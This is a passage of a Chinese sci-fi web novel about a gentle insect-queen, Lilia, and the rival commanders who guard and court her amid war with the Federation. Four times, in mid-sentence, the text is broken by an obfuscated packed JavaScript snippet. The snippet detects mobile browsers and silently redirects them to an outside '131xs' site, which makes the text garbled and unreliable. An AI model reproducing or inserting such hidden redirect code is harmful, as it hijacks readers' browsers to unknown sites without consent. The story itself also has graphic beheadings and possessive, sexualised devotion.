可是现在,莉莉亚觉得要做一个不偏心的好妈妈真的好难。 卡尼菲克斯这般好,这般爱她,正如她爱他一样。 克制虔诚的爱几乎要莉莉亚落泪了。原来,她还算一个好妈妈。原来,还是有孩子这般爱她的。 卡尼菲克斯可不知道莉莉亚的想法,只知道虫母在看见他时,惊慌地躲进不轨之人的身后。 也许是他吓到她了,他有些无措,更多的是担心。 如果虫母这般相信他们,要如何在不伤害这情感的前提下,保护她呢? 莉莉亚很快反应过来自己的行为会有歧义,松开身前人的的衣带,慢慢走到卡尼菲克斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460473|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前。 塞尔托里乌斯紧绷的腰身卸力,在莉莉亚突然触碰他的瞬间,他竟然没有任何反击的意图。 这不是战争机器应该有的反应。他应该会察觉到任何一个站在他身后的人,然后一击毙命,而不是如同温驯的羊羔,乖乖落在她的手心。 她见过卡尼菲克斯,记得他的名字。 “卡尼。” 卡尼菲克斯讶然:“陛下。”他从未想过虫母竟然会记得他。 莉莉亚的脸颊还有未褪去的红,站在他面前,伸出那只纤细白皙的手。 他自然地行吻手礼,恭顺地起身。 他能看见浮动在虫母身边的,属于塞尔托里乌斯的信息素。 莉莉亚也知道,每次他们同时出现,就代表着有正事。 她不清楚什么是正事,只是相信他们并不会骗她。 好妈妈不应该过多干涉孩子们的成长。 莉莉亚要做一个好妈妈,从她逃离奥瓦里安开始,脑海中只有这样一个想法。 起初,她不解,为什么我要做一个好妈妈?我的孩子在哪里?好妈妈又是怎样的? 她到底在二十多岁的年纪就沉睡了,根本不知道怎样做一个母亲。 所以她只能宽容、安静、温和地对待所有虫族。 莉莉亚不明白的是,有些时候,这样的对待会让那些从未见过光明的人生出阴暗粘稠的情欲,在她未察觉时,悄悄攀上她洁白的小腿,愈演愈烈。 可现在她一心做好善解人意的妈妈:“你和塞尔去忙,有法布尔陪我。” 莉莉亚看向一旁的法布尔,要让他牵自己的手。 卡尼菲克斯尚未说话,倒是塞尔托里乌斯意味不明地笑了:“我可不觉得,他能克制自己的信息素。” 莉莉亚有点疑惑地抬头,不明白塞尔的意思。 一旁的法布尔却知道母亲尚在成熟期,唯有高等虫族的陪伴是最好的稳定剂。 他等级低劣,无法在单独面对最爱的妈妈时控制自己,更无法忍受妈妈因他受伤。 于是垂首,不顾莉莉亚的挽留,安静地告退。 在离开之前,他晦暗的眼神偷偷描摹着莉莉亚。 如果有一天,妈妈的身上能够沾染他的气息,那该是多美妙的事情。 * 法布尔关了门,打开光脑,犹豫再三,还是选择了发送。 法布尔(为虫母送钢琴版):音频 剩下的所有人都纷纷冒出来。 “别嘚瑟了。” “你难道还笑得出来吗?” “就是你小子惹得妈妈伤心的,找揍吧。” 没有人认为这段音频是关于母亲的,只以为是法布尔录的笑声,因为没有一个虫族会舍得分享和虫母有关的一切。 可是法布尔只是淡淡地写到:这是妈妈为我们弹奏的曲子。 他确实想要独占太阳,也从不怀疑这个世界上所有的虫族都会爱上莉莉亚。 但这个世界上越多人爱她,世界上的人越是爱她,她就越是安全。 这个法布尔相当敏锐,他知道主星之上暗潮涌动,见到卡尼菲克斯越过通传闯进,他就了然三大势主的斗争早已开始。 法布尔们从不站队,只忠诚于虫母。可他也清楚地知道,在那个宫殿里,只有卡尼菲克斯足够爱她,而他会选择支持所有爱她的人。 虫族因为基因热爱母亲,但也不算理解母亲的真正含义。 可是此刻,被太阳温暖过的法布尔想:他要让所有虫族都爱她,要万千星光为她加冕,要整个星际匍匐在她的脚下。 8. 虚假臣服 卡尼菲克斯不善地看着一旁站着的男人,转头看向莉莉亚,眼神平静:“陛下,请您移步寝殿休息。” 塞尔托里乌斯没说话,只是不明意味地看了一旁沉默的女人一眼,抬脚就要跟他走出去。 卡尼菲克斯礼数比他周全的多,摘帽躬身,诚恳致歉,却也步履匆匆。 他们两个都知道接下来会发生什么,也知道接下来无论发生什么,都不能让这个脆弱的小虫母看见。 卡尼菲克斯的双手早已硬化,战意盎然,可却在下一秒烟消云散。 那只纤细的手紧紧抓着他的手臂,二人有着巨大的体型差,莉莉亚的手自然无法完全握住,只要稍一挣扎,就能离开。 可是卡尼菲克斯没有任何动作,他只是回头,耐心地看着莉莉亚,甚至能感受到她圆润的指甲轻轻扣在他的手臂上。 “你们是要吵架吗?”她吸了吸鼻子,一动不动地盯着眼前的人。 “不是。” 两人异口同声,卡尼菲克斯还补充了一句:“我保证。” 若是塞尔托里乌斯的保证,莉莉亚肯定是会持怀疑态度的,毕竟他总是想一出是一出,但此刻是卡尼菲克斯的保证,莉莉亚愿意相信他。 于是她高兴地笑了,说自己这就回房间休息。 塞尔托里乌斯怎么看不出来莉莉亚心里想些什么,有点不爽:第一次见面就这么相信他。 而后又有点气:是个没良心的。 * 主星虽无驻军,可还是有训练场。因为历代虫母往往喜欢看虫族战士如同古罗马斗兽场豢养的角斗士一般厮杀。自她们诞生起,既是母亲又是妻子。母亲会喜爱勇敢的孩子,妻子会青睐强大的丈夫。 所以他们愿意战斗,愿意在虫母面前战斗。 但是莉莉亚不一样,她是很心软的母亲,甚至有些溺爱她的孩子们。 她讨厌他们流出的鲜血,讨厌他们消散的生命。 这个妈妈不要求他们强大,甚至不要求他们守护,她是唯一一个想要保护他们的母亲。 可是这样的母亲注定被她恶劣的孩子们欺骗。 主星的训练场首次迎来了两位军团长的战斗,直接开启了最高负荷模式。 那群发誓要加练,然后去教训塞尔托里乌斯这个自大狂的虫族们目瞪口呆地看着一进训练场就开杀的二人。 塞尔托里乌斯毫不意外,打架可不是吵架,不算失约。 两个人都没有使用精神力,而是最原始的战斗方式。 底下的虫族原先看热闹不嫌事大,站在底下喝彩鼓掌,巴不得他们打得越惨越好。 可毕竟是战场暴君和统帅难得的比试,慢慢的,所有人都静下来了,屏住呼吸盯着场上缠斗的身影。 他们都收起原先的吊儿郎当,认真地看着,目不转睛地分析他们的战斗姿势。 有些人甚至有些泄气:如果是这样的对手,他们穷尽一生都难以追赶,更别提打败他们。 塞尔托里乌斯的左眼被气刃划开,血流不止,可他只是随意一抹,嘲讽地笑了。这么多年来,他向来是统治战场的王,甚至很少受伤。 卡尼菲克斯眼睛也不眨,折断被一剑斩开的右手,随手扔在一边。 他们自然还想打,杀红了眼般看着对方,虫族总是好战嗜杀的,即使这一代的虫母看上去善良可欺,见不了一点血腥,这并不意味着她身边的虫族就会变得温驯,他们生来就是嗜血的战士。 阿拉里克却在此时出现,笑着鼓掌,说:“这般难得一见的场面。” 他一出现,周围的虫族就知道接下来不是他们应该存在的地方了,以极快的速度离开。 多稀奇,三大势主竟然同时出现在主星。要知道,塞尔托里乌斯最厌恶主星,几乎从不离开第二星线,他治军极严,却也是最让人向往的军团。没有虫族会拒绝成为一个第二军团的战士,那是战无不胜的无冕之军,那是能够得到虫母亲口嘉奖的强者之师。 阿拉里克作为执政官,也很少出现在主星,更别提驻守第三星线的卡尼菲克斯,为人古板严苛,只忠诚于虫母。 卡尼菲克斯的剑直取他的命门,停在他的眼睛前,只一瞬,就可以刺穿。 阿拉里克毫不惊慌,甚至连眼睛都未曾眨一下,故作意外道:“难道统帅不想陛下安全度过成熟期吗?” 他极其狡诈,就算眼下在算计别人,面上也要装出一副大义凌然的模样。 卡尼菲克斯的剑再近一分:“我不明白,伤害虫母对你们有什么好处?” 塞尔托里乌斯接话:“好处就是,没有人可以控制这个种族。” 他总是一副无所谓的样子,眼下却极其认真,服从对于战士来说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460474|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是天职,自由对于将军来说是奢侈。 可他不想做也不会做被掣肘的将军,他必须把所有不稳定因素都牢牢地把握。 阿拉里克终于认真起来,语气凉薄:“没有人可以保证她不会背叛虫族。” “她不会是上一任虫母。” “可她们都是玛提亚·杰内特瑞克斯。” 历任虫母共享同一个名字,虫族自诞生伊始,虔诚遵从的就是这个名字。 阿拉里克有点好奇,初见时,她未说出口的名字到底是什么? 也会是这个吧,她们都是一样的。 他出生时,上一任虫母已经出走,虫族陷入迷茫,随后分裂。 有人一直在寻找虫母的存在,有人选择长眠奥瓦里安。 阿拉里克那个时候想,我会创造第三个选择。 “卡尼菲克斯,你要让所有人为你的愚忠陪葬吗?” 他卸了力气,收了剑:“我唯一的底线就是虫母的安全。” 是陛下的安全,是虫母的安全,是玛提亚?杰内特瑞克斯的安全,却不是莉莉亚的安全。 虫族有一套自成的阶级制度,唯有高等虫族才有资格喊妈妈,剩下的人都必须只能喊陛下。 虽然那些虫族都会在私底下偷偷喊妈妈,可在莉莉亚面前,他们只能跪着喊陛下。 塞尔托里乌斯耸了耸肩,轻松道:“别担心,我也不想玩坏她的。” 他说完邪气地笑了笑,左眼早已在自我疗愈中恢复,看不出狼狈,甚至有点说不出的痞气:“今天不是轮到我喂小虫母吗?” 阿拉里克优雅转身,做了一个请的动作,随后看向卡尼菲克斯。 他脸上没有多少表情,其实阿拉里克清楚,卡尼菲克斯只是忠诚于虫母而已,无论谁是虫母,他都会献上自己的生命。 他忠于虫母是因为忠于自我,他是个标准的虫族,恪守基因的命令,也是一个无情的虫族。 既然虫母即是虫族,虫族即是虫母。 阿拉里克相信,他不会想要看到上一任虫母的惨剧再次发生。 何况,没有人知道,被多个高等虫族喂养的虫母会面临什么? 也许,她只会做一个永远无法成熟的小虫母,一辈子快快乐乐地生活在主星,偶尔充当一下维系虫族团结的纽带。 也许,她会死。 9. 山雨欲来 莉莉亚坐在床上,墨绿的长裙被她压在身下,压出几朵褶皱。她把光脑扔在一边,整个人躺下,这样的生活虽然平静顺遂,可她总是觉得怪怪的。 她应该是被养在宫殿里的金丝雀吗? 莉莉亚握紧拳头挥舞了一下:我肯定不是吧。 她的意识渐渐沉去,但我应该是一个好妈妈吧。 塞尔托里乌斯站在她的寝殿外,属于他的信息素告诉他莉莉亚已经睡着了。 她没盖薄被,整个人躺在床上,脸颊睡得泛红,无意识地转个身,墨绿的裙摆被掀铺开来,风轻轻吹过,是一片绿意的海。 没穿军装的男人站在这里,感觉到她身上逐渐攀高的温度。塞尔托里乌斯很早就发现了,莉莉亚不仅体温较之一般虫族高了不少,还会在情绪激动时迅速升高,但他今天才知道,原来她睡着了也会像发烧一样高温。 他的精神力暴动一直很严重,但从未出现过无法控制的状态。 可因为莉莉亚,塞尔托里乌斯忽然发现自己引以为傲的精神操纵在她面前不堪一击。 她回归时,他的精神力竟然悄悄攀上她的小腿,把经过的每一寸皮肤都变得濡湿粘腻。 他愕然发现无法收回这个违背主人意愿的精神外化,正如同此刻,他的精神力不顾他意愿地钻进她的寝殿。 因为之前惹得她皱眉,这一回,那不听指令的精神力先是卷起薄被,轻轻盖在她身上,而后乖乖趴在她长长的乌发上,只是偶尔大着胆子去□□她的脸颊,却不敢流连。 塞尔托里乌斯的耳朵绯红,他有点生气,不愿意进去,只是释放了足够的信息素,转身走了。 * 与此同时,一支舰队试图闯入旧奥瓦里安。 博士居高临下的地看着那场爆炸中幸存的两个兽人,那个虫族的精神力极其强大,即使自爆了也不是那些兽人能够抵挡的。 可他却意外得知,竟有两个人活下来。 博士眼神晦暗,他想,虫族无法主动伤害的存在,除了虫母,还会是谁呢? 至于这两个幸运儿,不过是因为触碰时沾染了那个虫母的味道,才能在那样无序的精神力屠杀之下幸存。 可是,无论怎么想,那个女人都是古人类。 博士是联邦的天纵奇才,他毕生都致力于研究古人类这个种族,他无比相信自己的判断。 所以,当他坚持向联邦声明:即使那个女人是虫母,她也一定是一个古人类。 那群尸位素餐的蠢货竟然敢质疑他的论断。 博士怒道:“虫母从未被记录,你们怎么知道虫母不会是古人类。” 联邦的轮值主席笑呵呵地打圆场:“博士息怒,虫族和古人类确实是两种截然不同的生物,这一点,您比我们更清楚。” 博士根本不买账,他继续说道:“那两个兽人说,他们是在奥瓦里安发现她的。” 一个来自奥瓦里安的古人类,竟然成为了虫族的虫母。 看来,如今能够主宰虫族的这个新任虫母,只会是基因同化的产物。 他像找到新玩具的小孩,眼睛里冒出的狂热甚至让轮值主席感到不适。所以说,任何时候都不要去招惹这种科学疯子,没人知道他们下一步会做些什么。 轮值主席看着他远去的背影,淡淡地说:“也许,我们曾见过虫母呢。” 而后又无所谓地笑了,吩咐道:“记得给这位伟大的科学家立一块丰碑。” * 卡尼菲克斯只身一人就截停了那支舰队。那些人坐在驾驶舱中,看着一道光闪过,刹时,星舰上所有的设备报错,红光闪成一团。 博士暗骂一句,恨毒地看着他,却在下一秒被直接斩首。 他甚至还没来得及蜕化出原型,就被收割了生命,睁着的眼睛却在最后一刻直直望向奥瓦里安。 从莉莉亚回归开始,卡尼菲克斯就一直留意着旧奥瓦里安。第三军团的情报送来时,他已经跃迁到此处。 他杀了这么多人,脸上却没有任何表情,因为杀戮对于虫族来说是再正常不过的事情。 卡尼菲克斯愿意在虫母面前收敛他的气势,可事实上,他是一个不折不扣的冷酷存在。 不同于喜欢捉弄敌人,一步步攻破他们的心理防线,看着他们跪在地上痛哭流涕的战场暴君,统帅卡尼菲克斯向来干脆利落,杀人无形。 联邦舰队早已士气溃散,舰长来不及去呵斥那些作乱的士兵,他有些失神地想:若与虫族终有一战,联邦的文明又该何去何从? 从舰长接到护送博士前往奥瓦里安的任务时,他已经隐隐知道了最终的结局。 当初,联邦第一调查团大张旗鼓地在虫族第三星线附近巡游,虽未全军覆没,被及时赶到的新执政官以议和为理由护下。 他所熟知的那个联邦第一调查团团长,是自军校时期就遥遥领先,傲视所有人的存在。可是他面对虫族时,也只有被粗鲁地砍下头颅的下场。 这就是卡尼菲克斯的作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460475|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风。 他崇尚斩首威慑,两军对垒,他不会让敌方将领活到下一秒。 舰长闭上眼睛,全身蓄力,他不会做懦弱逃跑的军人,只是想要知道,那些高高在上的联邦官员,到底有什么打算。 要让他们一个个把命填进来,只是为了这样若有似无却触犯尊严的试探。 死亡在下一刻来临,卡尼菲克斯太快了,快到舰长根本没有时间反应,他的脑袋像被剪下的花朵,咕噜一声滚在地上,眼睛还是紧闭着。 * 有人消失在星际间,有人刚刚醒来。 莉莉亚觉得脸上很痒,睁开眼睛,顺手捞起边上的光脑,打开讯息。 “玛提亚·杰内特瑞克斯,如果你看见这封信,请记住我将下来的话。我将预言你的命运,你会成为不用思考,不用斗争的君王。可虫族的荣光不属于你,你唯一的价值,就是挺着圆鼓鼓的小腹,不停地为虫族诞下嗜血的战士。他们会喊你妈妈,又会将目光流连在你的躯体,你的灵魂没有自由,你的诞生毫无意义。” * 阿拉里克对联邦接下来的行为不感意外,联邦看似团结,可实际上内部云波诡谲,四分五裂。 几日前上一任轮值主席才拿议和建交说事,如今新一任轮值主席又耀武扬威地想要调查虫母。 又或者说,他想要得到虫母。 阿拉里克平静地想:我会创造第三个选择。 卡尼菲克斯杀了人便回到主星,他向来不喜这般行径,冷冷地说:“自寻死路。” 空旷肃穆的会议室里,为了讨虫母欢心,虫侍们在主星的每一个角落都摆上了的百合,花开得正好,却也显得格格不入。 三人的光脑齐齐震动,阿拉里克略不可察地挑眉,她已经读了那封来自联邦主席的信了。 莉莉亚并不擅长使用虫巢思维,虫侍们为了给母亲解闷,纷纷向长官申请要为母亲献上光脑,然后一个个假公济私,把自己的光脑号输入莉莉亚的光脑。就为了能够和她说上句话,即使只是隔着光脑。 莉莉亚很喜欢捧着光脑,津津有味地了解这个她并不熟悉的世界。 但她不会知道,手中光脑的控制权早就被一分为三,落在三大势主手中。 任何她能看见的,都是他们想要她看见的。 塞尔托里乌斯打了个响指:“我猜她会被吓哭。” 阿拉里克不置可否。 卡尼菲克斯觉得他们恶劣至极,却没想过去寻找她。 10. 无能占有 莉莉亚并没有被吓哭,她只是觉得莫名其妙,然后将随手划过去,没有任何表情。 她看了眼窗外,法布尔们给她准备的机械太阳已经降落。主星上没有所谓的日月轮换,只不过是跟随她的作息。 若是虫母休息,就让太阳落下,月亮升起,若是虫母醒来,就让月亮西沉,太阳东升。 这个星球上的万物都爱她,他们会因为莉莉亚喜欢风,费尽心思去构想从未感受过的温柔和煦的风。 莉莉亚记得阿拉里克曾经说过,只要她想,就能看见虫族的过去和未来。 可是他并没有告诉她要怎么看,莉莉亚长长地叹了口气,想到今天见过的那个法布尔。 “我竟然是这样的妈妈。” “我怎么能做这样的坏妈妈!” 她从床上爬起来,拖着一袭绿色长裙,去找虫族占卜官奥格尔。 * 第二天一早,塞尔托利乌斯如期而至,事实上,他并不认为自己昨天留下的信息素能被这个小虫母吃完。 可当他见到莉莉亚时,发现她身上干干净净,几乎没有任何信息素残留。 他忽然想起,昨日见到莉莉亚时,她也是这般,只有属于她的自己的味道,淡淡的,难以形容的香味,但是可以让任何一个虫族醉倒。 阿拉里克陪了她五天,用信息素温养了她五天,可是这个看上去小小的虫母却将其吸收的一干二净,不留一点痕迹。 莉莉亚换了一件深蓝的长裙,左手托腮,恹恹地看着窗外照进来的阳光,看见他推门而入,也只是努力扯了一个笑脸,又移开了眼睛。 塞尔托利乌斯有点奇怪,这个小虫母怎么可以这样做。明明不管见到谁都会笑,为什么今天一副难过的样子。 可是他不会安慰别人,也根本没有这个意识,在他这种战争机器的眼中,绝对武力可以解决任何问题。 或许可以这么说,整个虫族都是冷硬残酷的,他们奉行弱肉强食,面对莉莉亚这样柔软的存在,免不了无措。 塞尔托利乌斯顺手取过趴在虫族雕像肩头的石头小猫,又从桌上的花瓶中取了支百合,不知所措地递到她面前。 “不舒服?”他想来想去也只会这么问,毕竟莉莉亚是虫族历史上唯一拥有两位成熟期伴侣的虫母,没人知道她的命运。 但是塞尔托利乌斯闻着鼻尖属于她的味道,觉得好像少了些什么。 为什么没有他的信息素,为什么总是一副干干净净的模样,为什么好像永远不会为任何事物停留。 他早就发现了,莉莉亚的眼泪会为任何一个虫族落下,身上却不会沾染任何虫族的气息。 气息对于虫族来说无比重要,这是强权的标志,是属地,是占有。 可是至少此刻,会为他流泪的莉莉亚,身上没有他的味道。 莉莉亚没想到他会这样问,有点惊讶地看着他,想说话,脸却露出苦色。 她接过石头小猫和百合,只是发出一点气音就疼得皱起小脸,用手指点点自己的喉咙,意思是说不了话。 塞尔托利乌斯顺着她的手指看过去,深蓝的衣裙衬得她极白,像雨后的兰花,那段露在外面的雪白脖颈纤细脆弱,皮肤底下淡青的血管静静淌着血液。 他悄无声色地咽了咽口水,只把这种反应当作虫母对虫族的绝对吸引。 塞尔托利乌斯不会寻一位维塔利斯来照顾她,因为不会有第四个人知道那件事情。 但他无法阻止虫母为自己寻一名医生,只是思考如何回绝她的请求。 莉莉亚却先忍着痛,断断续续地开口:“不要维塔利斯。” 塞尔托利乌斯的目光又一次落在她身上,她有点不好意思地笑笑,双手各围出小圈,从眼下扣了三次。 意思是,他们会难过的。 与其说是害怕他们难过,不如说她舍不得他们伤心。 莉莉亚是很宽容善良的妈妈,全身心地爱着她的孩子们,根本不愿意让他们为自己流泪。 * 塞尔托里乌斯错开眼神,有点不敢看她明亮的眼睛。就发现自己的精神力正一动不动地扒在莉莉亚的小腿上,跃跃欲试,想要向上延伸,可是当事人却全然不觉,一副岁月静好的模样。 他再次警告般地看了眼自己的精神力,那道缠在洁白小腿上的精神力也只是心虚地挪了挪,但还是不肯离开。 废话,如果能待在她身边,被暴君凶一下又算得了什么。 莉莉亚注意到他的眼神,在她看来,塞尔正严肃而凝重地看着自己的小腿。 她下意识想要后退,把自己藏起来,又以为塞尔想摸,就轻轻抬起小腿,一点都不羞涩,看着他,笑得温婉。 塞尔托里乌斯没说话,只是单膝跪地,左手握住她的小腿。 他的体温当然比莉莉亚低很多,凉得她一颤,雪白的小腿下意识踢蹬,想要缩回去,却被牢牢箍住。 塞尔托里乌斯已经顺手取走了精神力,松开她的小腿,随意扯个谎:“脏兮兮的。” 莉莉亚睁圆了眼睛,觉得他这是赤裸裸地诽谤。 刚刚在她小腿上只有塞尔的精神力!!! 一看就是塞尔小气,想要把精神力拿走。 莉莉亚把石头小猫和百合放到桌上,有点生气地朝他伸出手,嫩白的掌心朝上,要他把精神力交出来。 塞尔托里乌斯挑眉:“没骗你,帮你扔了。” 她一生气,体温就会升高,那股若有若无的信香更加浓郁,抿着桃粉的嘴唇,假装凶凶地看着眼前比她高大许多的人。 “小气。”见他还是这样,说完就转过脑袋,不去看他。 她的意思是要精神力吗? 她一直知道那趴在她身上的精神力吗? 她竟然容忍虫族在她身上打下印记吗? 塞尔托里乌斯想这绝对是假的,她不知道,也不会容忍的。 莉莉亚不明白为什么塞尔突然把送她的小精神力拿回去了,看他面色凝重,仿佛在思考生死攸关的大事。 只好收起了想要踩他一脚的心思,重新拿起小猫和百合,要回寝殿。 她的裙摆轻轻扫过眼前人的军靴,如蝴蝶般翩跹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460476|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 塞尔托里乌斯却轻轻抓住她的手臂,把收起的精神力缠在她手上:“这个?” 莉莉亚看见小精神力失而复得,一下忘记了之前还在生气,大方地冲着他笑。 她的眼角有一颗痣,非常淡的红色。不过因为她太白了,看上去特别的显眼。 塞尔托里乌斯看着她高兴地笑了,眼睛弯弯的,像月牙船。鬼迷心窍般,他伸手要去摸那颗红痣,想知道是不是血。 若是刚刚,莉莉亚肯定会置气躲开,可是现在,她愿意顺着塞尔托里乌斯的心思,甚至乖巧地蹭蹭他的手。 于是她看见他的脸红了,特别红。所有虫族都能通过虫巣思维看见,一向冷静的战场暴君,如今的状态非常不对。不是精神狂化,而是抑制不住的精神激动,就好像验证了什么一般。 法布尔们老神哉哉,颇有经验:“一看就是和妈妈在一起。” 看吧,即使是塞尔托里乌斯,也会为妈妈倾倒,没有虫族能够离开自己的母亲。 * 因为莉莉亚不像之前的虫母一般,永远待在寝宫里,只在无聊时寻几个虫族决斗,看一场乐趣。 她很喜欢去找那些克制安静的虫族,和他们聊天,托着脑袋看着他们工作。 即使虫族再小心,也担心外面的风会伤到她。阿拉里克看她很紧,几次看见她偷跑出去,只能和她约定,若是真的喜欢,可以在前殿召见虫族,但绝不能自己乱跑。 他把莉莉亚锁在王座之上,剥去权力,戴着一顶虚假的皇冠。 阿拉里克很聪明,也很有手段,总有办法让任何事朝着他想要的方向发展。 莉莉亚足够包容,愿意听他的话,甚至仰着头看他:“我保证听阿拉的话。” 主星上的虫族都知道虫母尚未成熟,他们小小的妈妈还很青涩,还没有学会熟练使用虫巣思维。可她身上有淡淡的信香,会随着她撩起的长发若隐若现,在每个思考的瞬间勾起他们的回忆。 这是虫族历史上最温柔的母亲,她甚至愿意将一些时间施舍给他们,看一眼他们这些平平无奇的虫族。 机械太阳和新造月亮都是他们时刻关注莉莉亚的证明,她的每一次呼吸都有意义,每一次睁眼都牵动他们的心。 看见三大势主开始频繁出现在主星,虫族们心知肚明,母亲的成熟期到来了,她会在高等虫族的陪伴下度过潮湿软暖的时光,然后诞育一代又一代的虫族。 他们见过母亲,比之虫族历史上记录的其他虫母,她是那么小的妈妈。 可必然的是,将来这个小小的妈妈,会挺着圆滚滚的小腹,为整个虫族繁衍。一想到这副画面,他们的复眼就克制不住的亮起来,口器外露。 但这些恪尽职守的虫族战士转而又开始担心,她那么纤细脆弱,能够承受得住吗?完全忘记了繁衍于虫母而言,是天性,是放纵,是她不绝的欲望。 他们一边觉得莉莉亚这般圣洁的存在,没有人配得上,即使是那些高等虫族;一边克制不住在每个午夜梦回的时刻,想拥抱她,把自己埋进妈妈的小腹,嗅闻她的味道。 11. 最高命令 “这些死去的虫族都知道!” “为什么不承认?!!” “你们不敢说,我来说。” “有什么不能面对的,哪个虫族会认错自己的母亲?” …… 阿拉里克曾预料过的分裂在此刻降临。 这个虫族的复眼有一半挂在脸上,翅翼破碎,精神力破碎,他是这场战役中唯一还清醒的虫族。 “尤安,冷静。”一边的虫族军官用精神力按下他,不让他乱动。 尤安的情绪更加激动了,在场还清醒的虫族怎么可能理解他,他们只会轻飘飘地劝他不要激动。 可他的信仰在这场战争中被击碎了。伟大的母神拯救了他,也将要杀死他。 尤安本是虫族侦查兵的一员,他和其他所有虫族共享一个名字,他们叫做多隆。 但是莉莉亚开口,她说:“尤安,你就叫尤安。” 于是世间少了一个多隆,多了一个独一无二的尤安。 他曾经觉得,自己会永远做母亲最忠诚的骑士,无论何时,都将如同影子一般,沉默而虔诚地追随在她的身后。 可是,当死亡降临时,当他的思维被至高无上的命令禁锢时,当他只能愣愣地看着身边的虫族以从未见过的速度倒下时,他发现自己开始怨恨那个柔软的女人了。 虫族从未有过叛徒,他们爱戴虫母,愿意为了她的荣光而战。可若是虫母背叛他们,他们便会同千年前一般,死无葬身之地。 “这只是你的猜测。”阿拉里克冷静道,这是极其可怕的指控,他不能也不愿完全接受。 “可我不会认错她的。”尤安脸上露出茫然,随即是前所未有的痛苦,如果可以,他当然希望那个命令并不来自于她。 虫族的泪腺并不发达,他们冷硬,更不喜欢哭泣,只是偶尔在战斗时暧昧地想:“虫族的眼泪都在母亲身上,看看她的小脸,总是因为我们流满了眼泪。” 此刻,尤安仅存的复眼克制不住地淌着眼泪,他以为是血流在脸上,可是身旁的人且看得清楚,那是一行透明冰冷的眼泪,一行来自不会哭泣的虫族的眼泪。 “母亲,不,她,她背弃了我们。”他还是下定决心,坚持自己的判断。 “塞尔托里乌斯长官是最好的证明。” * 阿拉里克有些头疼地捏了捏眉心,这是虫族历史上从未有过的一天。 联邦露出可憎的面目,叫嚣着要虫族为逝去的两支舰队付出应有的代价。 百支舰队铺天盖地出现在第三星线上方,织成天罗地网,笼罩在这处。 可那时卡尼菲克斯正陪伴着莉莉亚,第二星线军团长塞尔托里乌斯直接带着军队生生撕出一道裂缝,打破了他们的队形。 虫族并不知道,这场围剿正在整个星际放映。 “他是怎么做到的,虫族果然够可怕的。” “我忽然有点理解为什么之前两支舰队会是那个下场了。” “虫族这样无视自然规律的种族,早被应该被消灭了。” 这些观众们只相信联邦发布的通告,他们说那里字字句句都是虫族无端挑衅,他们说要为逝去的战士讨一个公道。 这仅仅是因为联邦认为,迎回虫母的虫族会如千年前一般,开始无序扩张,将整个星际当作他们的角斗场。 星际时代,种族之间维持着表面脆弱的和平。每个种族都在为了有限的资源而斗争着,他们都需要一种极其有限的矿石,制作所谓的抑制剂,减缓他们的精神狂化。 就在其他种族为了生存而不得不走向死亡时,虫族却能安然无恙,只是日复一日地重复自己失去了母亲。 可是失去母亲又如何,联邦里的所有文明已经失去母亲很久了。 为什么虫族可以免于必然的死亡,为什么他们甚至可以拥有母亲? 嫉妒、不安和厌恶一时冲上他们的头脑,即使他们并不了解千年前虫族的真相,可是现在,他们同仇敌忾,信誓旦旦地说:“为了联邦。” 可也有人明白撕开阵型的塞尔托里乌斯究竟是何等可怕的存在,他们质疑:“我们真的打得过吗?” “联邦不过是在拿战士的命填进种族的血海深仇之中。” 这些话不过是几行标准星语,无力地划过去,没有任何改变。 他们只能看着虫族的军队势如破竹,轻而易举地溃败联邦派出的军队。 有人甚至闭上了眼睛,不愿去看这些战士的死状,可是下一秒,那胜利之师却诡异地静止了。 起先,军舰中的战士以为这是虫族的挑衅,毕竟塞尔托里乌斯在战场上一贯是目中无人的绝对碾压,他会做出任何事情来都不奇怪。 可虫族再不动了,他们甚至感觉到那势如破竹的军队正在溃散。 精神狂化? 不,不是。 是精神控制,这个拥有强大精神力的种族,被一股神秘的力量控制住了。 那些士兵有了勇气,他们握紧手中的武器,化出自己的原型,齐齐冲向方才还在收割他们性命的敌人。 